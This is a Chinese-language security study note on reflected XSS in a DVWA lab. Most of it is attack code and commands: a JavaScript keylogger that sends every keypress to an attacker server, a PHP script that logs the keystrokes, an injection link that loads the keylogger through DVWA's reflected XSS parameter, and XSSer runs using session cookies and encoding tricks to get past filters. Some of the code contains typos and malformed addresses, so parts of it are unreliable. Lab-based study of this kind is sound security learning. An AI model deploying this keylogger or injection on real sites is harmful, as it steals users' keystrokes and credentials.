【安全牛學習筆記】XSS- 鍵盤記錄器和反射型XSS
XSS Keylogger.js document.onkeypress = function(evt){ evt = evt || window.event key = String.fromCharCode(evt.charCode) if(key){ var http = new XMLHttpRequest(); var param = encodeUR(key); http.open("POST","http://192.168.20.8/keylogger.php",true); http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); http.send("key="+param); } } |
[email protected]:~# service apache2 start
[email protected]:~# cd /var/www/html/
[email protected]:/var/www/html# gedit keylogger.js
document.onkeypress = function(evt){
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if(key){
var http = new XMLHttpRequest();
var param = encodeUR(key);
http.open("POST","http://192.168.20.8/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}
XSS Keylogger.php <?php $key=$_POST['key']; $logfile="keylog.txt"; $fp = fopen($logfile,"a"); fwrite($fp,$key); fclose($fp); ?> <scirpt+src="http://1.1.1.1/keylogger.js"></script> <a herf="http://192.168.20.10/dvwa/vulnerabilites/xss_r/?name=<script+src=' http://192.168.1.20.8/keylogger.js'></script>">xss</a> |
[email protected]:/var/www/html# gedit keylogger.php
<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
?>
[email protected]:/var/www/html# gedit keylogger.txt
[email protected]:/var/www/html# ls
index.html keylogger.js keylogger.php keylog.txt
[email protected]:/var/www/html# chmod 777 keylog.txt
[email protected]:/var/www/html# gedit a.html
<a herf="http://192.168.1.107/dvwa/vulnerabilites/xss_r/?name=<script+src='http://192.168.1.1.102/keylogger.js'></script>">xss</a>
XSS Xsser 命令/圖形化 工具 繞過伺服器端輸入篩選 10進位制/16進位制 編碼 unescape() xsser -u http://1.1.1.1/dvwa/vulnerabilities/" -g "xss_r/?name=" -- cookie="security=low;PHPSESSID=d23e439411707ff8210717e67c521a81" -s -v --reverse-check --heuristic檢查被過濾的字元 |
[email protected]:~# xsser --help
Usage:
xsser [OPTIONS] [-u <url> |-i <file> |-d <dork>] [-g <get> |-p <post> |-c <crawl>] [Request(s)] [Vector(s)] [Bypasser(s)] [Technique(s)] [Final Injection(s)]
Cross Site "Scripter" is an automatic -framework- to detect, exploit and
report XSS vulnerabilities in web-based applications.
Options:
--version show program's version number and exit
-h, --help show this help message and exit
-s, --statistics show advanced statistics output results
-v, --verbose active verbose mode output results
--gtk launch XSSer GTK Interface (Wizard included!)
*Special Features*:
You can choose Vector(s) and Bypasser(s) to inject code with this
extra special features:
--imx=IMX create a false image with XSS code embedded
--fla=FLASH create a false .swf file with XSS code embedded
*Select Target(s)*:
At least one of these options has to be specified to set the source to
get target(s) urls from. You need to choose to run XSSer:
-u URL, --url=URL Enter target(s) to audit
-i READFILE Read target urls from a file
-d DORK Process search engine dork results as target urls
--De=DORK_ENGINE Search engine to use for dorking (bing, altavista,
yahoo, baidu, yandex, youdao, webcrawler, google, etc.
See dork.py file to check for available engines)
*Select type of HTTP/HTTPS Connection(s)*:
These options can be used to specify which parameter(s) we want to use
like payload to inject code.
-g GETDATA Enter payload to audit using GET (ex: '/menu.php?q=')
-p POSTDATA Enter payload to audit using POST (ex: 'foo=1&bar=')
-c CRAWLING Number of urls to crawl on target(s): 1-99999
--Cw=CRAWLER_WIDTH Deeping level of crawler: 1-5
--Cl Crawl only local target(s) urls (default TRUE)
*Configure Request(s)*:
These options can be used to specify how to connect to target(s)
payload(s). You can choose multiple:
--cookie=COOKIE Change your HTTP Cookie header
--drop-cookie Ignore Set-Cookie header from response
--user-agent=AGENT Change your HTTP User-Agent header (default SPOOFED)
--referer=REFERER Use another HTTP Referer header (default NONE)
--xforw Set your HTTP X-Forwarded-For with random IP values
--xclient Set your HTTP X-Client-IP with random IP values
--headers=HEADERS Extra HTTP headers newline separated
--auth-type=ATYPE HTTP Authentication type (Basic, Digest, GSS or NTLM)
--auth-cred=ACRED HTTP Authentication credentials (name:password)
--proxy=PROXY Use proxy server (tor: http://localhost:8118)
--ignore-proxy Ignore system default HTTP proxy
--timeout=TIMEOUT Select your timeout (default 30)
--retries=RETRIES Retries when the connection timeouts (default 1)
--threads=THREADS Maximum number of concurrent HTTP requests (default 5)
--delay=DELAY Delay in seconds between each HTTP request (default 0)
--tcp-nodelay Use the TCP_NODELAY option
--follow-redirects XSSer will follow server redirection responses (302)
--follow-limit=FLI Set how many times XSSer will follow redirections
(default 50)
*Checker Systems*:
This options are usefull to know if your target(s) have some filters
against XSS attacks, to reduce 'false positive' results and to perform
more advanced tests:
--no-head NOT verify the stability of the url (codes: 200|302)
with a HEAD pre-check request
--alive=ISALIVE set limit of every how much errors XSSer must to
verify that target is alive
--hash send an unique hash, without vectors, to pre-check if
target(s) repeats all content recieved
--heuristic launch a heuristic testing to discover which
parameters are filtered on target(s) code: ;\/<>"'=
--checkaturl=ALT check for a valid XSS response from target(s) at an
alternative url. 'blind XSS'
--checkmethod=ALTM check responses from target(s) using a different
connection type: GET or POST (default: GET)
--checkatdata=ALD check responses from target(s) using an alternative
payload (default: same than first injection)
--reverse-check establish a reverse connection from target(s) to XSSer
to certificate that is 100% vulnerable
*Select Vector(s)*:
These options can be used to specify a XSS vector source code to
inject in each payload. Important, if you don't want to try to inject
a common XSS vector, used by default. Choose only one option:
--payload=SCRIPT OWN - Insert your XSS construction -manually-
--auto AUTO - Insert XSSer 'reported' vectors from file
(HTML5 vectors included!)
*Select Bypasser(s)*:
These options can be used to encode selected vector(s) to try to
bypass possible anti-XSS filters on target(s) code and possible IPS
rules, if the target use it. Also, can be combined with other
techniques to provide encoding:
--Str Use method String.FromCharCode()
--Une Use Unescape() function
--Mix Mix String.FromCharCode() and Unescape()
--Dec Use Decimal encoding
--Hex Use Hexadecimal encoding
--Hes Use Hexadecimal encoding, with semicolons
--Dwo Encode vectors IP addresses in DWORD
--Doo Encode vectors IP addresses in Octal
--Cem=CEM Try -manually- different Character Encoding Mutations
(reverse obfuscation: good) -> (ex: 'Mix,Une,Str,Hex')
*Special Technique(s)*:
These options can be used to try to inject code using different type
of XSS techniques. You can choose multiple:
--Coo COO - Cross Site Scripting Cookie injection
--Xsa XSA - Cross Site Agent Scripting
--Xsr XSR - Cross Site Referer Scripting
--Dcp DCP - Data Control Protocol injections
--Dom DOM - Document Object Model injections
--Ind IND - HTTP Response Splitting Induced code
--Anchor ANC - Use Anchor Stealth payloader (DOM shadows!)
--Phpids PHP - Exploit PHPIDS bug (0.6.5) to bypass filters
*Select Final injection(s)*:
These options can be used to specify the final code to inject in
vulnerable target(s). Important, if you want to exploit on-the-wild
your discovered vulnerabilities. Choose only one option:
--Fp=FINALPAYLOAD OWN - Insert your final code to inject -manually-
--Fr=FINALREMOTE REMOTE - Insert your final code to inject -remotelly-
--Doss DOSs - XSS Denial of service (server) injection
--Dos DOS - XSS Denial of service (client) injection
--B64 B64 - Base64 code encoding in META tag (rfc2397)
*Special Final injection(s)*:
These options can be used to execute some 'special' injection(s) in
vulnerable target(s). You can select multiple and combine with your
final code (except with DCP code):
--Onm ONM - Use onMouseMove() event to inject code
--Ifr IFR - Use <iframe> source tag to inject code
*Miscellaneous*:
--silent inhibit console output results
--update check for XSSer latest stable version
--save output all results directly to template (XSSlist.dat)
--xml=FILEXML output 'positives' to aXML file (--xml filename.xml)
--short=SHORTURLS display -final code- shortered (tinyurl, is.gd)
--launch launch a browser at the end with each XSS discovered
--tweet publish each XSS discovered into the 'Grey Swarm!'
--tweet-tags=TT add more tags to your XSS discovered publications
(default: #xss) - (ex: #xsser #vulnerability)
[email protected]:~# xsser --gtk //xsser圖形化工具啟動
[email protected]:~# xsser -u http://192.168.1.107/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low;PHPSESSID=d23e439411707ff8210717e67c521a81" -s -v --reverse-check
XSS 對payload編碼,繞過伺服器端篩選過濾 --Str Use method String.FromCharCode() --Une Use Unescape() function --Mix Mix String.FromCharCode() and Unescape() --Dec Use Decimal encoding --Hex Use Hexadecimal encoding --Hes Use Hexadecimal encoding,with semicolons --Dwo Encode vectors IP addresses in DWORD --Doo Encode vectors IP addresses in Octal --Cem=CEM Try -manually- different Character Encoding Mutations (reverse obfuscation:good) -> (ex:'Mix,Une,Str,Hex' |
XSS 注入技術(多選) --Coo Cross Site Scripting Cookie injection --Xsa Cross site Agent Scripting --Xsr Cross site Referer Scripting --Dcp Data Control Protocol injections --Dom Document Object Mode injectins --Ind HTTP Response Slitting Induced code --Anchor Use Anchor Stealth payloader (DOM shadows!) --Phpids PHP - Exploit PHPIDS bug (0.6.5) to bypass filters |
XSS --Doss XSS Denial of service (server) injection --Dos XSS Denial of service (client --B64 Base64 code encoidng in META tag (rfc2397) --Onm ONM - Use onMouseMove() event to inject code --lfr Use <iframe> source tag to inject code |
XSS Low Mediam High htmlspecialchars() 輸出html編碼< > < > xsser -u http://1.1.1.1/dvwa/vulnerabilities/" -g "xss_r/?name=" -- cookie="security=low;PHPSESSID=d23e439411707ff8210717e67c521a81" - -Cem='Mix,Une,Str,Hex' |
[email protected]:~# xsser -u http://192.168.107/dvwa/vulnerabilities/" -g "xss_r/?name=" --cookie="security=low;PHPSESSID=dd344b59dd74665c29bd031d035090f" --Cem='Mix,Une,Str,Hex
----------------------------------------------------------------
低安全程式碼
<?php
if(!array_key_exists ("name",$_GET) | $_GET['name'] == NULL || $_GET['name'] ==''){
$isempty = ture;
} else {
echo '<pre>';
echo 'hello'.$_GET['name'];
echo '</pre>'
}
?>
----------------------------------------------------------------------
相關推薦
【安全牛學習筆記】XSS- 鍵盤記錄器和反射型XSS
信息安全 security+ xss ╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋┃XSS
【安全牛學習筆記】XSS- 鍵盤記錄器和反射型XSS
XSS Keylogger.js document.onkeypress = function(evt){ evt = evt || window.event key = String.from
【安全牛學習筆記】XSS的簡述
cookie 服務器 漏洞 安全 xss 1.Cross Site SCripting 攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。
【安全牛學習筆記】XSS的利用
xss 惡意代碼 漏洞 反射型XSS1.概念 通過社會工程學等手段誘騙用戶點擊某個精心構造的鏈接,該鏈接會將惡意的js代碼提交給 有漏洞的服務器網站,並由服務器返回給受害者的客戶端執行。 2.POC -<scri
【安全牛學習筆記】XSS-簡介、跨站腳本檢測和常見的攻擊利用手段
信息安全 security+ xss XSS攻擊WEB客戶端客戶端腳本語言 彈窗警告、廣告 Javascript 在瀏覽器中執行XSS(cross-site scripting) 通過WEB站點漏洞,向客戶端交付惡意腳本代碼,實現對客戶端的攻擊目的 註入客戶端腳本代碼
【安全牛學習筆記】XSS-簡介、跨站腳本檢測和常見的攻擊利用手段2
信息安全 security+ xss ╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋┃XSS ┃┃攻擊WEB客戶端
【安全牛學習筆記】Web掃描器(1)
安全 web 漏洞 1.偵察httrack可將目標網站的網頁全部爬取下來,減少偵察過程中與目標服務器發生的交互。 2.Nikto(1).檢測對象 掃描軟件版本 搜索存在安全隱患的文件 配置漏洞
【安全牛學習筆記】OSI網絡模型
http ssh stmp 安全 OSI網絡模型 物理層規定比特在物理介質中的傳輸方式,解決物理傳輸過程中的問題。 代表設備:中繼器,集線器(多端口中繼器) 數據鏈路層 在不可靠的網絡環境中進行可靠的數據傳輸。解決數據傳輸中可能出現的
【安全牛學習筆記】搜索引擎
安全、web、滲透、信息安全 搜索引擎 shodan爬取banner信息。搜索聯網設備。 常用關鍵字: netcity country CNport oshostname實例:cisco 200 ok 思科設備default password 默認密碼
【安全牛學習筆記】服務掃描
安全、web、滲透、信息安全 1.簡述 識別開放端口上的應用 識別目標操作系統 提高攻擊效率 2.分類 Banner信息獲取 服務識別 操作系統識別snmp分析 防火墻識別 3.Banner (1).含義
【安全牛學習筆記】Kali Linux 安裝-持久加密USB安裝、熟悉環境、熟悉BASH命令
security+ linux 信息安全 持久加密USB安裝-1LUKS: linux UNified Key Setup 磁盤分區加密規範 不依賴於操作系統的磁盤級加密 Windows——DoxBox 後端:dm-crypt 前端:cryptsetup 微軟的bitlocker將鏡像
【安全牛學習筆記】網絡配置、更新升級、安裝軟件包、瀏覽器插件
信息安全;網絡配置[email protected]:~# dhclient eth0 //用來通過 dhcp 協議配置本機的網絡接口[email protected]:~# ifconfig 查看現在的ip地址[email protected]:~# ifc
【安全牛學習筆記】 Kali Linux安裝-熟悉環境
信息安全;security+;kali linux熟悉BASH命令 Ls、cd、pwd、cat、more、tail、cp、rm、top、ps、greg、ifconfig、netstat、awk、sort、route、mount、dmesg、find、whereis、Echo、vi 管道 shell腳本[
【安全牛學習筆記】基本工具-NETCAT(telnet/banner、傳輸文本信息)
信息安全;security+;kali linux滲透測試常用工具經常使用且功能強大安全從業者必不可少的幫手Nc / ncatWireshackTcpdumpNETCAT-----NC網絡工具中的瑞士軍刀——小身材、大智慧偵聽模式/傳輸模式telnet/獲取banner信息傳輸文本信息傳輸文件目錄加密傳輸文件
【安全牛學習筆記】實驗環境
信息安全;security+;kali linux滲透測試準備實驗環境 滲透非授權系統的弊端 搭建自己的實驗環境安裝虛擬機微軟最新版軟件 http://msdn .microsoft.com/en-ca/subscriptions/aa336858windows虛擬機 http://dev.mod
【安全牛學習筆記】TOR
信息安全;security+;kali linux滲透測試保護隱私防止被追蹤誌願者組成長期在天朝完全無法使用 感謝 雲暗網 互聯網搜索引擎無法發現 互聯網黑市下載和看視頻是不道德的行為互聯網黑市交易的貨幣是比特幣比特幣很難在互聯網復原下載http://www.torproject.org/d
【安全牛學習筆記】搜索引擎、SHODAN
信息安全 security+ 搜索引擎、SHODAN╋━━━━━━━━━━━━━━━━━━━━━━━━━━╋┃搜索引擎 ┃┃公司新聞動態 ┃┃重要雇員信息
【安全牛學習筆記】
信息安全;security+; 弱點掃描╋━━━━━━━━━━━━━━━━━━━━╋┃發現弱點 ┃┃發現漏洞 ┃┃ 基於端口五福掃描結果版本信息(速度慢)┃┃ 搜索已公開的漏洞數據庫
【安全牛學習筆記】 NESSUS
信息安全;security+; NESSUS╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╋┃NESSUS ┃┃家庭版
【安全牛學習筆記】NEXPOSE
信息安全;security+;NEXPOSE Rapid 7